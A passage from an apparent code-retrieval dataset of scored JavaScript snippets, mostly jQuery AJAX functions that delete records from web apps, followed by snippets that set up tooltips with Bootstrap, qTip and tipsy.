+ lesson_id, // the endpoint\n type : 'DELETE', // http method\n\n data : {}, // data sent with the post request\n dataType: 'json',\n // handle a successful response\n success : function(json) {\n M.toast({html: 'Lesson deleted!', classes: 'rounded green lighten-3'});\n $(\"#lesson_\"+lesson_id+\"_list\").remove();\n $(\"#lesson_\"+lesson_id+\"_modal\").remove();\n console.log(json);\n },\n\n // handle a non-successful response\n error : function(xhr,errmsg,err) {\n M.toast({html: 'There was an error deleting the lesson!', classes: 'rounded red lighten-3'});\n console.log(xhr.status + ': ' + xhr.responseText); // provide a bit more info about the error to the console\n }\n });\n}", "title": "" }, { "docid": "7c37f85726b351e6c11bc5fbca1afe6e", "score": "0.62242377", "text": "function ajaxDeleteMeta(meta, tr, postID){\n\t\t\t\n\t\tjQuery.ajax({\n\t\t type: \"POST\",\n\t\t url: ajaxurl,\n\t\t data : { action : 'delmeta', delmeta : meta, postID : postID }, \n\t\t success: function(msg){\n\t\t\t tr.fadeOut(300, function() { $(this).remove(); });\n\t\t }\n\t\t\n\t\t});\n\t\n\t}", "title": "" }, { "docid": "ba15446407f78cebbb7474205036fade", "score": "0.6217994", "text": "function eliminarPersonal(id) \n {\n $('#'+id).remove();\n\n $.ajax\n ({\n type:\"DELETE\" ,\n url: '/eliminarPersonal?id='+id,\n dataType: \"text\",\n error: function (xhr, ajaxOptions, thrownError)\n {\n console.log(xhr.status);\n console.log(thrownError);\n console.log(ajaxOptions);\n \n },\n success: function()\n { \n $('#modal_per').modal('toggle');\n }\n }); \n }", "title": "" }, { "docid": "33d4d5d1c4e3495c8b23bd483646c7e6", "score": "0.6212199", "text": "function deleteSong(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/songs/\" + id\n })\n .then(function () {\n getSongs(songCategorySelect.val());\n });\n }", "title": "" }, { "docid": "29fb139479542ddd19021d7755565d86", "score": "0.6211792", "text": "function deleteRequest(song_id) {\n var csrf = $.cookie('csrftoken');\n var data = {\"songid\" : song_id}\n $.ajax({\n type: \"POST\",\n headers: {\n \"X-CSRFToken\" : csrf,\n },\n url: \"/playlist/deleterequestsong/\",\n data: data,\n success: function() {\n console.log()\n },\n });\n}", "title": "" }, { "docid": "bbe01b4b91c4fd4c7e2f75d5fcc904ef", "score": "0.62041473", "text": "function deleteCat(index){\n angular.forEach(vm.cat, function(value, key){\n if(index === key)\n {\n CategoryService.Delete(vm.categorias[key])\n .then(function () {\n FlashService.Success('Categoría borrada correctamente');\n })\n .catch(function (error) {\n FlashService.Error(error);\n });\n \n } \n }); \n }", "title": "" }, { "docid": "da8eee8afe872f680819deeef3c51f59", "score": "0.6202444", "text": "function deleteGroup(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/groupList/\" + id\n })\n .then(function () {\n getGroupList(groupCategorySelect.val());\n });\n }", "title": "" }, { "docid": "5a2cc3b687954fc27e41ecd16e79d2db", "score": "0.61978406", "text": "function deleteItem(id) {\n $.ajax({\n url: uri + '/' + id,\n type: 'DELETE',\n success: function (result) {\n getData();\n }\n });\n}", "title": "" }, { "docid": "ce45d9b88d163a83970ed751df3a03be", "score": "0.61975324", "text": "function deleteCategories(req, res) {\n\n var defer = q.defer();\n var categoryId = req.body.category._id;\n\n\n ForumManager.getForums(categoryId)\n .then(function (forums) {\n\n _(forums).forEach(function (forum, index) {\n\n req.body.forum = forum;\n ForumManager.deleteForum(req, res);\n })\n\n CategorydModel.findOne({ \"_id\": categoryId })\n .then(function (category) {\n\n category.remove();\n defer.resolve();\n })\n\n }, function (err) {\n\n defer.reject(err);\n })\n\n\n return defer.promise;\n}", "title": "" }, { "docid": "4ca0e14cbdd412d41cc6ca53942bbea9", "score": "0.6182834", "text": "function Eliminar(btn) {\n var route = \"/admin/almacen/brand/\"+btn.value+\"\";\n var token = $(\"#token\").val();\n\n $.ajax({\n url: route,\n headers: {'X-CSRF-TOKEN': token},\n type: 'DELETE',\n dataType: 'json',\n success: function () {\n Carga();\n $(\"#msj-danger\").fadeIn();\n }\n });\n}", "title": "" }, { "docid": "b3004a848bcfdadac4eed2c171f6ad65", "score": "0.6182174", "text": "function deleteCard(idCarte){\n \n \n\n $.ajax({\n\n type: \"POST\",\n\n url: \"http://192.168.1.60:10000/cartes/\" + idCarte + \"/remove\",\n\n data: 'json',\n \n //me retourne juste une carte dans \"data\"\n success : function(data) {\n \n getCards();\n alert(\"carte supprimer\");\n \n }\n\n }); \n \n \n \n }", "title": "" }, { "docid": "3256b3a01c77877779243d3a4b770827", "score": "0.61790055", "text": "function handleArticleDelete() {\n\n var articleToDelete = $(this).parents('.article-holder').data();\n\n $.ajax({\n method:'DELETE',\n url:'/api/headlines/' + articleToDelete._id\n }).then(function(data) {\n\n if(data.ok){\n\n initPage();\n\n }\n\n });\n }", "title": "" }, { "docid": "56b87800a7c8d78c29233f4ed602b166", "score": "0.61751676", "text": "deleteProduct(){\n this.category.removeProduct(this.id);\n }", "title": "" }, { "docid": "e34cfd22605992092a6e90b15bf296ac", "score": "0.6167368", "text": "handleDelete(id) {\n\t\t// let production_url = `https://react-cars.herokuapp.com/api/v1/cars/${id}`\n\t\tlet production_url = `/api/v1/cars/${id}`\n\t\tlet development_url = `http://localhost:3000/api/v1/cars/${id}`\n\t\t\n\t\t// fetch(development_url, {\n\t\t// \tmethod: 'DELETE',\n\t\t// \theaders: {\n\t\t// \t\t'Content-Type': 'application/json'\n\t\t// \t}\n\t\t// }).then((response) => {\n\t\t// \tthis.deleteCar(id)\n\t\t// \tconsole.log('Car was deleted!')\n\t\t// })\n\t\t$.ajax({\n\t\t\turl: production_url,\n\t\t\ttype: \"DELETE\",\n\t\t\theaders: {\n\t\t\t\t'Content-Type': 'application/json'\n\t\t\t},\n\t\t\tsuccess: response => {\n\t\t\t\tconsole.log(response)\n\t\t\t\tthis.deleteCar(id)\n\t\t\t\tconsole.log('Car was deleted!')\n\t\t\t}\n\t\t})\n\t}", "title": "" }, { "docid": "b2c0a84711d8a1e3f6ed11f14484aaaf", "score": "0.6160727", "text": "async function deleteProductCategory(req, res) {\n const payload = {\n id: req.params.id,\n collection: ProductCategories\n };\n try {\n const resp = await dataBase.deleteIdCollection(payload);\n return res.status(resp.code).send(resp);\n } catch (err) {\n return res.status(err.code).send(err);\n }\n}", "title": "" }, { "docid": "f83e78d2bec5394d4afa0b313e5b953a", "score": "0.6156622", "text": "function deleteEvent(event)\n{\n $.ajax({\n url: '/1/calendar/delete_event',\n type: 'POST',\n data:{\n id:event.data.eventID,\n tag:event.data.tag\n },\n success: function(data) {\n if(data.deleted === '')\n {\n $('.'+event.data.eventID).remove();\n $('#extraInfo_triangle').hide();\n $('#extraInfo').hide();\n }\n else{\n alert(data.deleted);\n }\n }\n });\n}", "title": "" }, { "docid": "7dee8d288c7786b18f950e68bb54626d", "score": "0.6149769", "text": "function DeleteCat(cat_id) {\n swal({\n title: \"Are you sure?\",\n text: \"You will not be able to recover this imaginary file!\",\n type: \"warning\",\n showCancelButton: true,\n confirmButtonClass: \"btn-danger\",\n confirmButtonText: \"Yes, Delete\",\n cancelButtonClass: \"btn-info\",\n cancelButtonText: \"No, Back\",\n closeOnConfirm: false,\n closeOnCancel: false\n },\n function(isConfirm) {\n if (isConfirm) {\n window.location.href = \"./includes/delete_cat.php?cat_id=\" +cat_id+ \"\";\n return true;\n\n swal(\"Deleted!\", \"Your imaginary file has been deleted.\", \"success\");\n } else {\n swal(\"Cancelled\", \"Your imaginary file is safe :)\", \"error\");\n }\n }); // Swal End\n} // Delete Product Category End", "title": "" }, { "docid": "34dc4fff2631aa3a1e08dbe5295fc064", "score": "0.6144978", "text": "function deleteItem(name, id) {\r\n\r\n var url = '/biblio/' + id + '/delete';\r\n sendRequest('POST', url, null);\r\n $(\"#removeModal\").modal(\"hide\");\r\n}", "title": "" }, { "docid": "49a646b9acdeff68e07609f168cf7d6d", "score": "0.6140323", "text": "function delete_course(course_id) {\n console.log(\"delete_course(\"+course_id+\")\");\n\n $.ajax({\n url : BRONCODE_URL + '/api/courses/' + course_id, // the endpoint\n type : 'DELETE', // http method\n\n data : {}, // data sent with the post request\n dataType: 'json',\n // handle a successful response\n success : function(json) {\n $(\"#course_\"+course_id+\"_modal\").remove();\n $(\"#course_\"+course_id+\"_card\").hide(\"slow\", \n function() {\n $(\"#course_\"+course_id+\"_card\").remove()\n M.toast({html: 'Course deleted!', classes: 'rounded green lighten-3'});\n }\n );\n console.log(json);\n },\n\n // handle a non-successful response\n error : function(xhr,errmsg,err) {\n M.toast({html: 'There was an error deleting the course!', classes: 'rounded red lighten-3'});\n console.log(xhr.status + ': ' + xhr.responseText); // provide a bit more info about the error to the console\n }\n });\n}", "title": "" }, { "docid": "bd24ff2882af425ef4ca1a0e5a02916b", "score": "0.6118201", "text": "function deleteData(id){\n $.ajax({\n url: \"http://157.230.17.132:3031/todos/\" + id,\n method: \"DELETE\",\n success: function (data) {\n emptyFields();\n printData();\n },\n error: function (richiesta, stato, errori) {\n alert(\"E' avvenuto un errore. \" + errore); }\n });\n}", "title": "" }, { "docid": "b3e5e5b684eb2ff034214beefd44ef22", "score": "0.6114881", "text": "static deleteCategory(){\n const form = document.querySelector('.delete-category');\n const categoryid = form.getAttribute(\"category\");\n form.addEventListener(\"click\", function(){general.deleteCategory(categoryid)});\n \n\n const deleteForm = document.querySelector('#delete-category-select');\n const category = form.getAttribute(\"category\");\n deleteForm.addEventListener(\"change\", function(){general.whereToMoveDeletedCourses(category)});\n\n //id = \"delete-category-select\" onChange=\"whereToMoveDeletedCourses(${id})\"\n }", "title": "" }, { "docid": "52e5a9480fc8ca269b040660ff460938", "score": "0.6105634", "text": "function uninterest(category){\n if (confirm('Are you not interested in this category anymore?')) {\n // alert('Thanks for confirming');\n var interestact = \"remove\";\n $.ajax({\n url: 'data/interest_action.php',\n type: 'post',\n data: {\n \"category\":category,\n \"interestact\":interestact\n },\n success: function(data){\n // console.log(data);\n display_categories();\n },\n error: function(){\n eMsg(\"Fail to cancel the interested category!\");\n }\n });\n } \n}", "title": "" }, { "docid": "72791d9713902cef87df090672dabbc9", "score": "0.61054444", "text": "function deleteFunctionEvent(event) {\n event.preventDefault();\n var selector = $(this);\n $.ajax({\n url: $(this).attr('href'),\n async: false,\n dataType: 'json',\n success: function(e) {\n if (e.status === \"ok\") {\n deleteElement(selector, '.fonction');\n setToolTip(e.message, false);\n }\n else {\n setToolTip(e.message, true);\n }\n },\n error: function(e) {\n setToolTip(\"A problem occured trying to delete function.\", true);\n }\n });\n\n\n}", "title": "" }, { "docid": "21b2428fe08ab751e20dad01718dc5aa", "score": "0.6094079", "text": "function Delete(event) {\n\tvar Anchors = document.getElementById(\"link2\");\n\tif( Anchors === undefined || Anchors === null ){\n\t\treturn;\n\t}\n\tAnchors.addEventListener(\"click\", function( event ) {\n\t\tvar url = $(this).attr('href');\n\t\tevent.preventDefault();\n\t\t\n\t\t// Ecriture de la requête Ajax\n\t\t$.ajax( {\n\t\t\turl : url,\n\t\t\ttype : \"POST\",\n\t\t\tdataType : \"json\",\n\t\t\tsuccess : function( json, status ) {\n\t\t\t\tif (json.code != 0 ) {\n\t\t\t\t\tconsole.error(json.error);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\trefresh_comments();\n\t\t\t\t}\n\t\t\t},\n\t\t\t\n\t\t\terror : function(resultat, statut, erreur) {\n\t\t\t\tconsole.log(resultat);\n\t\t\t}\n\t\t});\n\t\t\n\t}, false);\n}", "title": "" }, { "docid": "ddaecff8adc31f21c8b1a88bdbbf811a", "score": "0.60934556", "text": "function deletewidget(id) {\n idDelete = {\n id: id\n }\n $.ajax({ // Jquery request\n url: \"http://localhost:8080/deleteWidget\",\n data: idDelete,\n type: \"POST\",\n dataType: \"json\",\n sucess: function() {\n return;\n }\n })\n refresh();\n}", "title": "" }, { "docid": "e4c1782e61d89eaf83cd0d1306f0a19a", "score": "0.60864776", "text": "function deleteData() {\r\n var id = $(this).prev().data('id');\r\n $.ajax({\r\n url: 'http://157.230.17.132:3035/todos/' + id,\r\n method: 'DELETE',\r\n success: function () {\r\n $('.todo').empty();\r\n getData();\r\n },\r\n error: function () {\r\n alert('Errore');\r\n }\r\n });\r\n}", "title": "" }, { "docid": "d6b7e8da24871e1bef924fcea1242ecd", "score": "0.6079945", "text": "function vc_delete_city_ajax(id) {\n var vc_id = id;\n jQuery.ajax({\n url: vc_ajax_url.ajax_url,\n type: 'post',\n data: {\n action: 'vc_delete_city_ajax', \n id: vc_id,\n },\n success: function (data) {\n jQuery('#vc_tableBody').html(data);\n jQuery('#errorDelete').css('display','block');\n jQuery('.alert').hide();\n }\n });\n }", "title": "" }, { "docid": "cc3a011ead6a7ad55129698d8be76df5", "score": "0.60761756", "text": "function deleteItem(id){\n\t\t\t\n\t$.ajax({\n type: \"POST\",\n url: \"control/venta.control.php\",\n data: \"fn=DeleteItem&id=\"+id,\n success: function(datos){\n\t\t$(\"#ctn-items\").html(datos);\n\t\t}\n\t});\n\n}", "title": "" }, { "docid": "7da2e00aed47618915e023239a459e8a", "score": "0.6072912", "text": "function changeCategory(e){\n var href=$(e).data(\"href\");\n var id = $(e).val();\n var elements = $(e).parent('div').nextAll(\".child\");\n elements.each(function(){\n $(this).not(\"parent_\"+id).remove();\n });\n if(id != ''){\n var data = {id:id};\n $.ajax({\n async: false,\n type: \"POST\",\n url: href,\n data : data,\n success: function(data) {\n $(\".buttons\").before(data);\n },\n dataType:\"html\"\n });\n }\n}", "title": "" }, { "docid": "dec24a8a0603100d9fb7acc766d1b602", "score": "0.60695213", "text": "function delete_product_by_id(id) {\n var data = { action : 'Delete Products By Id', product_id : id };\n $.ajax({\n type : 'POST', url : url, data : data, cache : false, dataType : 'json',\n success:function(data) {\n successful(data.success,data.bgcolor,data.color,data.message);\n show_products();\n }\n })\n}", "title": "" }, { "docid": "6836a8ca0df2c99b006f2a3833411179", "score": "0.6069063", "text": "function BtnDelete() {\n transacionAjax_D_elete(\"D_elete\");\n}", "title": "" }, { "docid": "18671038c2000374ad8d73034306935c", "score": "0.60648274", "text": "function deleteBook() {\n\t\n\t$.ajax({\n\t\turl: \"http://localhost:8080/book_service/rest/books/\" + $(\"#deleteId\").val(),\n\t\ttype: \"DELETE\",\n\t\tcontentType: \"application/json\",\n\t\tdataType: \"json\",\n\t\tsuccess: function(data, textStatus, errorThrown) {\n\t\t\t$(\"#deleteResponse\").text(\"Book Deleted Successfully\");\n\t\t},\n\t\t\n\t\terror: function(jqXHR, textStatus, errorThrown) {\n\t\t\talert(\"The particular book id not found\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "9f2ca9faa448bb4c9b902ca028ce0a31", "score": "0.60627484", "text": "function eliminar (id)\n\t\t{\n\t\t\t\n\t\t\t$.ajax({\n type: \"GET\",\n url: \"/TmpCompra/delete/\"+id,\n\t\t beforeSend: function(objeto){\n\t\t\t$(\"#resultados\").html(\"Mensaje: Cargando...\");\n\t\t },\n success: function(datos){\n\t\t$(\"#resultados\").html(datos);\n\t\t}\n\t\t\t});\n\n\t\t}", "title": "" }, { "docid": "d3ce43f08412ac0f76bc56afb002f648", "score": "0.60544944", "text": "delete() {\n var customer = $('.selected-row') ? $('.selected-row').data() : null;\n var customerId = customer.CustomerId;\n $.ajax({\n type: \"POST\",\n url: \"/customers/delete/\" + customerId,\n success: function () {\n alert(\"Success\");\n location.reload();\n },\n error: function () {\n alert(\"Noob\");\n }\n });\n }", "title": "" }, { "docid": "99fb73aa96ead10ef0b668cbfa182a1e", "score": "0.60513794", "text": "function deleteItem(id){\n\n console.log(\"THIS id: \", id);\n $.ajax({\n\n url: \"http://157.230.17.132:3000/todos/\" + id,\n method: \"DELETE\",\n\n success: function(data){\n\n //Se tutto va bene richiamo la funzione per ristampare gli elementi aggiornati\n getItems();\n console.log(\"id Item Cancellato: \", id);\n },\n error: function(error){\n alert(\"errore chiamata DELETE\");\n console.log(\"ERROR DELETE:\", error);\n }\n });\n}", "title": "" }, { "docid": "cd95a283eb8361b0dfc53fb75cebf138", "score": "0.60471225", "text": "function deleteTeam(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/teams/\" + id\n })\n .then(function() {\n // var imageUrl = \"/assets/images/\" + data.name + \".png\";\n getTeams(postCategorySelect.val());\n });\n}", "title": "" } ]
d824d7f359ca74480cef8be77a2b9cf8
TOOLTIP PLUGIN DEFINITION =========================
[ { "docid": "0edc3cb9fb665c9082311cdfc66f2db9", "score": "0.0", "text": "function Plugin(option) {\n return this.each(function() {\n var $this = $(this)\n , data = $this.data('wdesk.tooltip')\n , options = typeof option == 'object' && option;\n\n if (!data) {\n if (option == 'destroy') {\n return;\n }\n $this.data('wdesk.tooltip', (data = new Tooltip(this, options)));\n }\n if (typeof option == 'string') {\n data[option]();\n }\n });\n }", "title": "" } ]
[ { "docid": "ee663f523ecf40f6d76aaadcefc713e6", "score": "0.7335604", "text": "static set tooltip(value) {}", "title": "" }, { "docid": "a1b98d9579569ee62c16513fb5a014cc", "score": "0.7297961", "text": "function tooltip () {\n $('#uiTrigger').tooltip({template: '<div class=\"tooltip menu-tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>'});\n $('#uiTrigger').tooltip('show');\n\n // uiTrigger tooltip timeout and remove\n setTimeout(function(){ $('#uiTrigger').tooltip('destroy'); }, 16000);\n\n }", "title": "" }, { "docid": "13982fcbfa1c76e6444acb5d0a223f27", "score": "0.7256504", "text": "static get tooltip() {}", "title": "" }, { "docid": "2bd0807ab82be3e5f5debe99dcdd9569", "score": "0.71323586", "text": "function toolTips() {\r\n\t\t$('.ang-toolTip').hover(\r\n\t\t\tfunction() {\r\n\t\t\tthis.tip = this.title;\r\n\t\t\t$(this).append(\r\n\t\t\t\t'<p class=\"ang-toolTipWrapper\">'\r\n\t\t\t\t+this.tip+\r\n\t\t\t\t'</p>'\r\n\t\t\t);\r\n\t\t\tthis.title = \"\";\r\n\t\t\tthis.width = $(this).width();\r\n\t\t\t$(this).find('.ang-toolTipWrapper').css({left:this.width})\r\n\t\t\t$('.ang-toolTipWrapper').fadeIn(300);\r\n\t\t},\r\n\t\tfunction() {\r\n\t\t\t$('.ang-toolTipWrapper').fadeOut(100);\r\n\t\t\t$(this).find('.ang-toolTipWrapper').remove();\r\n\t\t\t\tthis.title = this.tip;\r\n\t\t\t}\r\n\t\t);\r\n\t}", "title": "" }, { "docid": "914d2ecace8e4bb4ede4755280fc6132", "score": "0.70783985", "text": "function gpr_tipsy() {\r\n\t\t//Tooltips for admins\r\n\t\t$( '.tooltip-info' ).tipsy( {\r\n\t\t\tfade : true,\r\n\t\t\thtml : true,\r\n\t\t\tgravity : 's',\r\n\t\t\tdelayOut: 1000,\r\n\t\t\tdelayIn : 500\r\n\t\t} );\r\n\t}", "title": "" }, { "docid": "c5e8aab5623e819181a232d5b03a8d3f", "score": "0.69535863", "text": "function bindTooltip(){\n bindTooltipSkin(\".b-tooltip, .b-panel-icons-item a,.b-tool, .b-image-nav, .b-help, .b-title\",\"qtip-light\");\n }", "title": "" }, { "docid": "68f47ec6b29e8ccd1807dcc5c22deea6", "score": "0.6845149", "text": "function tooltipInit(){\n $('[rel=tooltip]').tooltip({\n delay: { show: 750, hide: 0 }\n });\n}", "title": "" }, { "docid": "8af6830223aab7b46243f37e9487a105", "score": "0.6831677", "text": "function ApexTooltip() { }", "title": "" }, { "docid": "a65ce61235d99d4cfa4a45c8d10dfa79", "score": "0.67962146", "text": "function addTooltips() {\n $$('.hasTooltip').each(function (el) {\n var title = el.get('title');\n if (title) {\n var parts = title.split('::', 2);\n el.store('tip:title', parts[0]);\n el.store('tip:text', parts[1]);\n }\n });\n\n new Tips($$('.hasTooltip'), {\"maxTitleChars\": 50, \"fixed\": false});\n}", "title": "" }, { "docid": "2f7682d06e369d888dddc5097326dcf6", "score": "0.67509276", "text": "function PMA_tooltip($elements, item, myContent, additionalOptions)\r\n{\r\n if ($('#no_hint').length > 0) {\r\n return;\r\n }\r\n\r\n var defaultOptions = {\r\n content: myContent,\r\n items: item,\r\n tooltipClass: \"tooltip\",\r\n track: true,\r\n show: false,\r\n hide: false\r\n };\r\n\r\n $elements.tooltip($.extend(true, defaultOptions, additionalOptions));\r\n}", "title": "" }, { "docid": "31fd0820c7bd2edc95fbed9da706a38b", "score": "0.66874087", "text": "function Plugin(option){return this.each(function(){var $this=$(this);var data=$this.data('bs.tooltip');var options=typeof option == 'object' && option;if(!data && /destroy|hide/.test(option))return;if(!data)$this.data('bs.tooltip',data = new Tooltip(this,options));if(typeof option == 'string')data[option]();});}", "title": "" }, { "docid": "b05b5e1cb4780815029479f66efab286", "score": "0.66038454", "text": "function fancyTooltips () {\n var ftTooltipsE = $('.va-infobox-tooltip-cell');\n var ftTooltipsS = $('.va-icon, .va-tooltip');\n\n if (ftTooltipsE.length || ftTooltipsS.length) {\n mw.loader.using('jquery.tipsy', function () {\n if (ftTooltipsE.length) {\n // Tooltip appears to the left of the element\n ftTooltipsE.tipsy({gravity: 'e'});\n }\n if (ftTooltipsS.length) {\n // Tooltip appears above the element\n ftTooltipsS.tipsy({gravity: 's'});\n }\n });\n }\n}", "title": "" }, { "docid": "5abe4234f0e77c7d66d492880146eca4", "score": "0.65764445", "text": "function addTooltipOutput() {\r\n $('#tooltipOutput').prop('title', \"Records marked with * have previous configuration.\");\r\n $('#tooltipOutput').tooltip('show');\r\n $('#tooltipOutput').prop('title', \"\");\r\n}", "title": "" }, { "docid": "6b56adcecdb2589b2bebfc7ce8ff07aa", "score": "0.65652347", "text": "function newMenuUiWitToolTip () {\n // Click event for toggling new css class for menu\n $('#uiTrigger').click(function(){\n $('.nav-column, .main-panel').toggleClass('menu-off');\n $('#uiTrigger').tooltip('destroy'); \n });\n\n // tootip functions for menu - hides after 5 seconds\n function tooltip () {\n $('#uiTrigger').tooltip({template: '<div class=\"tooltip menu-tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>'});\n $('#uiTrigger').tooltip('show');\n\n // uiTrigger tooltip timeout and remove\n setTimeout(function(){ $('#uiTrigger').tooltip('destroy'); }, 16000);\n\n } \n tooltip();\n \n } // newMenuUiWitToolTip ENDS ***", "title": "" }, { "docid": "26a0ed1c96d70a63554b79096bf116af", "score": "0.6553493", "text": "function generateHealthTooltips() {\n $j('div.servers-view td.health-column').live(\"mouseover\", function(event) {\n var target = $j(this);\n target.qtip({\n overwrite: false,\n content: {\n text: 'Loading...',\n ajax: {\n url: '/servers/' + target.children('img').attr('alt') + '/health'\n }\n },\n position: {\n my: 'top left',\n at: 'center',\n viewport: $j(window),\n adjust: {\n x: -4,\n y: 10\n }\n },\n show: {\n event: event.type,\n ready: true,\n delay: 250\n },\n hide: {\n fixed: true,\n delay: 250\n },\n style: {\n classes: 'ui-tooltip-shadow ui-tooltip-light ui-tooltip-ajax',\n tip: {\n mimic: 'top center'\n }\n }\n });\n });\n}", "title": "" }, { "docid": "906f6b41024b9cae0360f7a12deee20e", "score": "0.65433455", "text": "function toolTip() {\n $('[data-toggle=\"tooltip\"]').tooltip();\n}", "title": "" }, { "docid": "07c613d5f44f8043cbe52995a5e8c1e3", "score": "0.651501", "text": "function toolTipInit() {\n\n $('.menu li a').tooltip({\n placement: 'right'\n });\n }", "title": "" }, { "docid": "ce7809af09323f4bae366f3ea06da24e", "score": "0.64900786", "text": "get tooltipTemplate() {\r\n return this.i.tooltipTemplate;\r\n }", "title": "" }, { "docid": "b69c4eafe94c8f1f61867bfd72d27bfa", "score": "0.6488266", "text": "static create(node, text, options = {}) {return new Tooltip(node, text, options);}", "title": "" }, { "docid": "7096f0c79dd3e16232c0b4099efa8508", "score": "0.64672554", "text": "function prepTooltip () {\n\tinsertScript(\"forceI\", function() { i = true; }, true);\n}", "title": "" }, { "docid": "6e07e2889aa11e8bf8efb215b9a6a5fb", "score": "0.6425593", "text": "function tooltip_createTooltip(frameDiv) {\n var Tooltip = function Tooltip(frameDiv) {\n var div = document.createElement('DIV');\n div.className = 'twipsy right';\n var arrow = document.createElement('DIV');\n arrow.className = 'twipsy-arrow';\n div.appendChild(arrow);\n var title = document.createElement('DIV');\n title.className = 'twipsy-inner';\n div.appendChild(title);\n this._div = div;\n this._title = title;\n this.message = ''; // add to frame div and display coordinates\n\n frameDiv.appendChild(div);\n var that = this;\n\n div.onmousemove = function (evt) {\n that.showAt({\n x: evt.clientX,\n y: evt.clientY\n }, that.message);\n };\n };\n\n Tooltip.prototype.setVisible = function (visible) {\n this._div.style.display = visible ? 'block' : 'none';\n };\n\n Tooltip.prototype.showAt = function (position, message) {\n if (position && message) {\n this.setVisible(true);\n this._title.innerHTML = message;\n this._div.style.left = position.x + 10 + 'px';\n this._div.style.top = position.y - this._div.clientHeight / 2 + 'px';\n this.message = message;\n }\n };\n\n return new Tooltip(frameDiv);\n}", "title": "" }, { "docid": "8f9b714bc55b12948dbebbbc9e7bf209", "score": "0.6409091", "text": "tooltipListener() {\n var elems = document.querySelectorAll('.tooltipped');\n this.instancesTooltip = M.Tooltip.init(elems, {});\n }", "title": "" }, { "docid": "14457623ee1b9e58b9904c258a844d06", "score": "0.63819396", "text": "function tooltip(){\n var toolHandle = $('.tool-handle'),\n toolMenu = toolHandle.parent(),\n toolClose = toolMenu.find('.close');\n\n toolHandle.click(function(e){\n e.preventDefault();\n toolMenu.toggleClass('show');\n });\n toolClose.on('click', function(){\n toolMenu.removeClass('show');\n });\n }", "title": "" }, { "docid": "9ee65a4d2958bbe420a5ee6fb9606a3a", "score": "0.63651425", "text": "function e(t){var e,i;this.qTipTitle=null,this.qTipText=null,this.qTipInnerHTML=null,null!=(i=/^\\(tooltip: ?(.+)\\|(.+)(?=\\))\\)$/.exec(t.text()))&&3==i.length?(this.qTipTitle=i[1],this.qTipText=i[2],e=/^(.+)\\|/,this.qTipInnerHTML=(i[1]+\"|\"+i[2]).replace(e,\"\")):null!=(i=/^(.+)\\|(.+)$/.exec(t.text()))&&3==i.length?(this.qTipTitle=i[1],this.qTipText=i[2],e=/^(.+)\\|/,this.qTipInnerHTML=t.html().replace(e,\"\")):(this.qTipText=t.text(),this.qTipInnerHTML=t.html())}", "title": "" }, { "docid": "19ff1f415e45c1e0add6b2aada146b5a", "score": "0.6361999", "text": "showToolTip_(event) {\n this.updateToolTip_(event);\n this.tooltip.classList.add('active');\n }", "title": "" }, { "docid": "53f873b1ae83bf757294851912a72ea6", "score": "0.6354201", "text": "function formatHovertag(classname, textcode, action, recall) {\n $('.'+classname).off();\n $('.'+classname).removeClass(\"has-tip\");\n $('.'+classname).attr('data-tooltip', 'true');\n $('.'+classname).addClass('has-tip');\n \n $('.'+classname).attr('data-title', textcode);\n $('.'+classname).attr('data-action', action);\n $('.'+classname).attr('data-options', \"disable_for_touch:true\");\n $('.'+classname).on('click', function() {\n eval($(this).attr('data-action')); \n });\n //TODO Remove such a tip beforehand to prevent overflow\n $('.tooltip[data-selector=\"'+classname+'\"]').remove();\n $('body').append(Foundation.libs.tooltip.settings.tip_template(classname, textcode));\n// console.log($('.'+classname));\n $('.'+classname).hover(function() {\n// console.log(\"H\");\n classname = $(this).attr('class').split(' ')[0];\n Foundation.libs.tooltip.showTip($('.tooltip[data-selector=\"'+classname+'\"]'));\n// console.log($('.tooltip[data-selector=\"'+classname+'\"]'));\n console.log($(this).attr('data-title'));\n txt = $(this).attr('data-title'); \n try {\n txt = eval($(this).attr('data-title')); \n } catch(e) {\n console.error(e.message); \n }\n $('.tooltip[data-selector=\"'+classname+'\"]').css('top', $(this).offset().top+30).css('left', $(this).offset().left+8).html( $(Foundation.libs.tooltip.settings.tip_template(classname, txt)).html());\n }, function() {\n classname = $(this).attr('class').split(' ')[0];\n Foundation.libs.tooltip.hide($('.tooltip[data-selector=\"'+classname+'\"]'));\n recallHovertags();\n citationHovertag();\n });\n \n if(recall != true && recall != \"true\") { \n include = true;\n for(i in hovertagRegistrar) {\n console.log(\"!-!\", hovertagRegistrar[i].classname, classname, hovertagRegistrar[i].classname == classname);\n if(hovertagRegistrar[i].classname == classname) {\n include = false;\n }\n }\n if(include) {\n\t\t hovertagRegistry(classname, textcode, action);\n }\n console.log(classname, recall);\n }\n}", "title": "" }, { "docid": "52cd1d0ab42fe3201331aca82d1864f9", "score": "0.6334573", "text": "updateTooltip() {\n if (!this.isUpdatingUI) return;\n\n var _tooltip = \"\";\n var _tooltips = [];\n\n // Temperatures:\n if (this.show_temp && this.temp_sensors.length !== 0\n && this.data !== undefined && Object.keys(this.data[\"temps\"]).length != 0) {\n if (this.temp_sensors.length > 0) {\n for (let t of this.temp_sensors) {\n if (this.data[\"temps\"][t[\"sensor\"]] !== undefined) {\n if (t[\"show_in_tooltip\"]) {\n if (t[\"shown_name\"] && t[\"sensor\"].toString() === t[\"shown_name\"].toString()) {\n if (this.custom_names[t[\"sensor\"]]) delete this.custom_names[t[\"sensor\"]];\n t[\"shown_name\"] = \"\"\n }\n let name = (!t[\"shown_name\"]) ? t[\"sensor\"] : t[\"shown_name\"];\n _tooltip += (t[\"show_in_panel\"] && this.bold_italics_main_sensors) ?\n \" <i><b>\" + name + \"</b></i>\\n\" :\n \" \" + name + \"\\n\";\n let str_value = this._formatted_temp(this.data[\"temps\"][t[\"sensor\"]][\"input\"]).padStart(10, \" \");\n _tooltip += (this.bold_values) ?\n \" <b>\" + str_value + \"</b>\" :\n \" \" + str_value;\n let _max_temp = this._get_max_temp(this.data[\"temps\"][t[\"sensor\"]]);\n _tooltip += \" \"+ _(\"high:\") + \" \" + ((_max_temp === 0) ? _(\"n/a\") : this._formatted_temp(_max_temp));\n let _crit_temp = this._get_crit_temp(this.data[\"temps\"][t[\"sensor\"]]);\n _tooltip += \" 